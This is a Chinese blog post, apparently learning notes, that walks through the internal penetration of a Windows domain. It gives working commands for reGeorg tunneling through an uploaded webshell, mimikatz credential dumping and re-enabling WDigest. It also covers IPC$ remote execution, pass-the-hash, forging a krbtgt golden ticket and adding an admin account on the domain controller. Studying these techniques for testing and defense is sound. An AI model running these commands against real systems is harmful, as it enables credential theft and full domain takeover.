当前位置:   article > 正文

渗透测试之内网渗透学习,超详细

内网渗透

0x01 基础知识

内网渗透,从字面上理解便是对目标服务器所在内网进行渗透并最终获取域控权限的一种渗透。内网渗透的前提需要获取一个 Webshell,可以是低权限的 Webshell,因为可以通过提权获取高权限。

在进行内网渗透之前需要了解一个概念,域环境。在内网中,往往可能存在几百上千台机器,例如需要对机器进行升级、打补丁、设置权限等,管理员不可能一台一台地更新修改。因此便衍生出了域环境。管理员以一台主机作为域控制器新建一个域,将所有其他主机加入域中,以域控来操作其他主机。因为域控的高权限,导致了域控所在的主机的管理员账号密码,可以登录任意一台主机,所以内网渗透的最终目标,往往便是拿下域控的权限。

首先通过提权获取一个具有管理员权限的账号密码 hacker/1234,abcd。具体提权过程就不细说了。下面将利用获取的这个具有管理员权限的账号密码正式开始内网渗透实践。

0x02 内网穿透

在渗透测试过程中,我们拿下了一台服务器的权限,并且通过 netstat -ano 发现开启了 3389 端口,想要远程桌面连接的时候发现无法连接。这是因为我们获取的服务器所处的环境为内网,而内网主机的 3389 端口,是公网 IP 通过端口映射的。也就是说,我们连接的外网 IP 地址的 3389 端口,映射到内网中,不一定是那台服务器的 3389 端口。解决这种问题的方法有两种:1、让目标机器去连接外网主机(必须有一台公网服务器,内网主机能够访问互联网)2、在目标机器上设置一个信号站(放一个 WEB 文件在目标机器上,所有流量都经过这个文件通信)在渗透测试过程中,内网主机不能够访问互联网是很常见的,下面通过方法 2 进行内网穿透。

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
一、具体流程

1、首先需要一款工具 regeorg 来建立一个信号站。

2、这里以 PHP 站点为例,将 tunnel.nosocket.php 文件通过之前获取的 Webshell 上传到站点,尝试使用 web 端访问确定文件存在。

3、以 python 环境运行 reGeorgSocksProxy.py 脚本,将从本机的 3344 端口经过的数据都发送给目标机器的 tunnel.nosocket.php 文件。

`python reGeorgSocksProxy.py -l 127.0.0.1 -p 3344 -u http://192.168.229.151/tunnel.nosocket.php`
  • 1

4、使用工具 proxifier,设置远程桌面软件 mstsc.exe 的数据包从本地的 3344 端口出网。

5、成功进行内网穿透,通过远程桌面连接到目标主机。

其他内网穿透方法还有 Frp、Ew、nps 等,都是一些可以穿透的工具,原理为搭建一条直通内网的隧道,这里就不详细介绍了。

0x03 内网信息收集

1、使用 PsExec.exe 获取 SYSTEM 权限进行内网信息收集需要具有一定的权限,所以先进行提权获取 SYSTEM 权限。

`PsExec.exe -s -i -d cmd`

  • 1
  • 2

2、获取所有域用户列表使用 net user /domain 命令获取内网的域为 ajie.cool,域中具有 Administrator、Guest、krbtgt、web 用户。

3、获取域用户组信息使用 net group /domain 命令获取域用户组信息。

4、获取域管理员列表使用 net group “domain admins” /domain 命令获取域管理员列表,域管账户只有 Administrator。

5、获取域服务器的 IP 地址通过 ping 域名称来获取域服务器的 IP 地址。(也可以通过查看 dns 服务器的 IP 地址,结合进行判断域服务器的 IP 地址。)

6、安装 Nmap 进行扫描前面介绍了 Nmap 工具,在内网渗透过程中也可以通过 Nmap 获取内网信息。1)首先通过 Webshell 上传 Nmap 的安装包。

2)远程连接目标服务器并安装 Nmap 进行内网信息收集。

7、内网主机存活探测因为动静比较大,也可以通过 nbtscan 工具进行。因为相对于 Nmap 的大规模扫描行为,nbtscan 基于 NetBios 进行探测,即是相当于 windows 打开我的电脑中的网络一样,被发现的几率相对低一些。

0x04 Hash 读取

此处 Hash 读取通过工具 mimikatz 来进行,mimikatz 是由本杰明·德尔皮创建开发的一个能够从内存中读取 hash 账号密码的工具,也可以说是内网渗透中的神器。

下面介绍如何通过 mimikatz 工具读取服务器内存中存储的 hash 密码。1、首先以管理员权限打开 mimikatz。

2、使用 privilege::debug 提升权限。

3、使用 sekurlsa::logonpasswords 读取到内存中的管理者账号的明文密码和本机的 web 用户的密码。

4、远程桌面登录管理员账号。

0x05 Hash 传递

一、基础知识

上面介绍了如何进行 Hash 读取,如果域控管理员使用自己的域控账号登录了服务器,那么就可以抓取到域控的账号和密码了。这样的危害性是巨大的,所以在渗透测试过程中,内网的机器往往会打 KB2871997 补丁,并且修改注册表关闭 Wdigest Auth。这样抓取的就不是明文密码了。虽然还是能够获取密文 Hash,但是密文 Hash 往往不可逆,解开需要花费大量精力。在域环境下,检测密码不是先将 Hash 解密再验证是否正确的。在验证输入的账号密码是否正确的时候,是通过验证 Hash 是否相同来进行校验的。也就是说,或许我们可以通过获取的 Hash 来伪造管理员账号密码登录,也就是 Hash 传递,又叫 PTH,通过将获取的 NTLM 密文传递到验证登录的机器,绕过正常验证进行登录系统。

二、Wdigest

注册表中的 Wdigest 功能关系着内存中是否有明文密码,通过查看注册表键值,可以判断 Wdigest 功能状态。如果该项值为“1”则为开启,即可以获取明文密码,如果该项值为“0”,则明文密码不会出现在内存中。开启和关闭 Wdigest Auth 命令如下:(1)开启 Wdigest Auth

`reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f`
  • 1

(2)关闭 Wdigest Auth

`reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f`
  • 1

三、IPC$

1、概念

IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

`IPC$的使用条件:``开放了139、445端口;``目标开启IPC$文件共享;``获取用户账号密码。`
  • 1

在内网中,默认就会开启 IPC$共享文件服务,默认会将 C 盘共享出来,也就是说,我们可以通过 IPC 获取目标 C 盘的权限。

2、IPC$常用命令

3、IPC$命令执行

1、通过 at 命令制定计划进行命令执行。

`at \\192.168.1.1 11:15am cmd /c "whoami"`
  • 1

2、通过 at 命令制定计划进行多层代理的命令执行

`at \\192.168.100.1 11:15am cmd /c "net use \\192.168.200.1\ipc$ 密码 /user:账号"`
  • 1
`at \\192.168.100.1 11:15am cmd /c "at \\192.168.100.1 11:15am cmd /c "whoami" "````
  • 1

四、Hash 传递实战演示

1、首先尝试抓取密码发现获取的全部都是密文。

2、这里虽然没有获取到明文密码,但是获取了域管理员用户的 NTLM。

3、提权到 SYSTEM 权限,执行 net user /domain,获取域管所在的主机地址。

4、尝试使用 ipc$读取域管的 c 盘目录,显示拒绝访问。

5、通过 mimikatz 工具进行 Hash 传递。

`sekurlsa::pth /user:administrator /domain:"ajie.cool" /ntlm:f1de694efa543bb780da59c049541ea3`
  • 1

6、执行完之后会弹出一个命令提示符,执行 dir \AD.ajie.cool\c$成功无需账号密码获取了域控机器的 c 盘的权限,列出了 c 盘的文件。

7、在通过 PTH 弹出的命令提示符中通过…/跳转到 PsExec.exe 文件所在目录,执行命令提权获取一个域控机器的 cmd 命令提示符。

8、执行 ipconfig 可以看到是域控所在机器的 IP 地址,成功拿到域控所在机器的权限。

9、在域控中新建用户并加到管理员组。

10、以新创建的用户远程桌面登录域控,发现无法连接远程桌面服务。

11、通过 reg 命令查询注册表,查看远程桌面服务发现返回 0x01,说明远程桌面服务没有开启。(开启则返回 0x00)

`REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections`
  • 1

12、通过拿到的域控的命令提示符来执行修改注册表操作,打开远程服务功能。

`REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f`
  • 1

13、以新建的 hackerend 用户远程桌面登录域控。

0x06 黄金票据

一、基础知识

前面了解到在域环境中,域控的账号密码可以登录域内任意一台主机,那么主机是如何检测域控账号密码是否正确的呢?检验账号密码可以有两种方法,询问域控或者设置一个专门检测账号密码是否正确的第三方中心。在域中便使用到了第三方中心来检验输入的账号密码是否相同。这种第三方中心叫 KDC 密钥分发中心。(以下内容涉及内网的 kerboros 协议,小弟学业不精,就简单说一下了。)

二、KDC 密钥分发中心

KDC(kerberos Distribution Center)密钥分发中心,维护所有账户的名称和 Master Key(key 的 hash code)。

提供:AS 认证服务、TGS 票据授予服务。

1、AS

授权服务(Authorization Server),对于上面的流程 1,提供初始授权认证,用户表明需求并使用密码对请求进行加密,AS 用提供的密码对请求进行解密后得到的请求内容,返回给用户一个 TGT(票据授权票据 ticket granting tickets)(用一个密码加密)。

2、TGS

用户得到 TGT 之后使用 TGT 去访问 TGS(票据授权中心 Ticket Granting Server),

TGS 验证 TGT 后(使用密钥解密),返回一个 Ticket 给用户;用户得到 Ticket 后去访问 Server,Server 收到 Ticket 和 KDC 进行验证,通过后提供服务。

3、票据

在内网渗透中,票据分为白银票据和黄金票据。分别对应域普通用户的票据和域管理员的票据。票据就是 Kerberos 认证协议的 Ticket,因为已经经过了 AS 和 TGS 的校验,所以获取了票据之后,可以任意登录目标主机。

在查询域内用户的时候,总会看到一个用户叫 krbtgt,如图 5-37 所示。krbtgt 账户其实就是 KDC 秘钥分发中心用的超管账户。我们拿着 krbtgt 账户的票据,去访问域内机器,目标主机会认为我们是 KDC 秘钥分发中心,所以直接给了最高的权限允许我们访问。一般管理员会修改域控账号的密码,但是很少有管理员会修改 Krbtgt 的密码。在内网渗透的最后阶段,我们需要通过获取黄金票据进行权限维持,那么下面将介绍如何获取 krbtgt 账户的黄金票据。

三、实战演示

1、首先通过远程桌面将 mimikatz.exe 和 PsExec.exe 上传到域控主机。

2、通过 PsExec 提权为 SYSTEM,然后执行 mimikatz,输入命令 lsadump::dcsync /user:krbtgt 获取 krbtgt 的 hash 值。

3、这里制作黄金票据需要的数据为:

`Object Security ID   : S-1-5-21-3296092892-1320626564-2720975204Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659`
  • 1

原 Object Security ID 最后面有个-502 是作为标识的,在制作时需要手动删除。

4、退出远程桌面,在攻击机通过 mimikatz 制作黄金票据。执行命令后会生成一个 AD.kiribi 文件。

`kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi`
  • 1

5、制作完票据之后,先尝试获取域控的 c 盘的权限发现拒绝访问。

6、通过 kerberos::purge 清空票据缓存;kerberos::list 列出票据显示为空,说明清空了所以票据。

7、通过 kerberos::ptt administrator.kiribi 加载生成的票据。

8、成功无密码获取域控 c 盘权限,后面进一步提权与 Hash 传递处相仿,就不做演示了。

0x07 总结

以上便是我学习的简单地从外网获取 shell,经过提权或不提权直接进行内网渗透的一个简单过程,其中涉及一些概念问题没有说的很明白,希望表哥们提点提点。以上仅为个人学习过程,可能知识点过于简单,望理解。

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/天景科技苑/article/detail/849230

推荐阅读
相关标签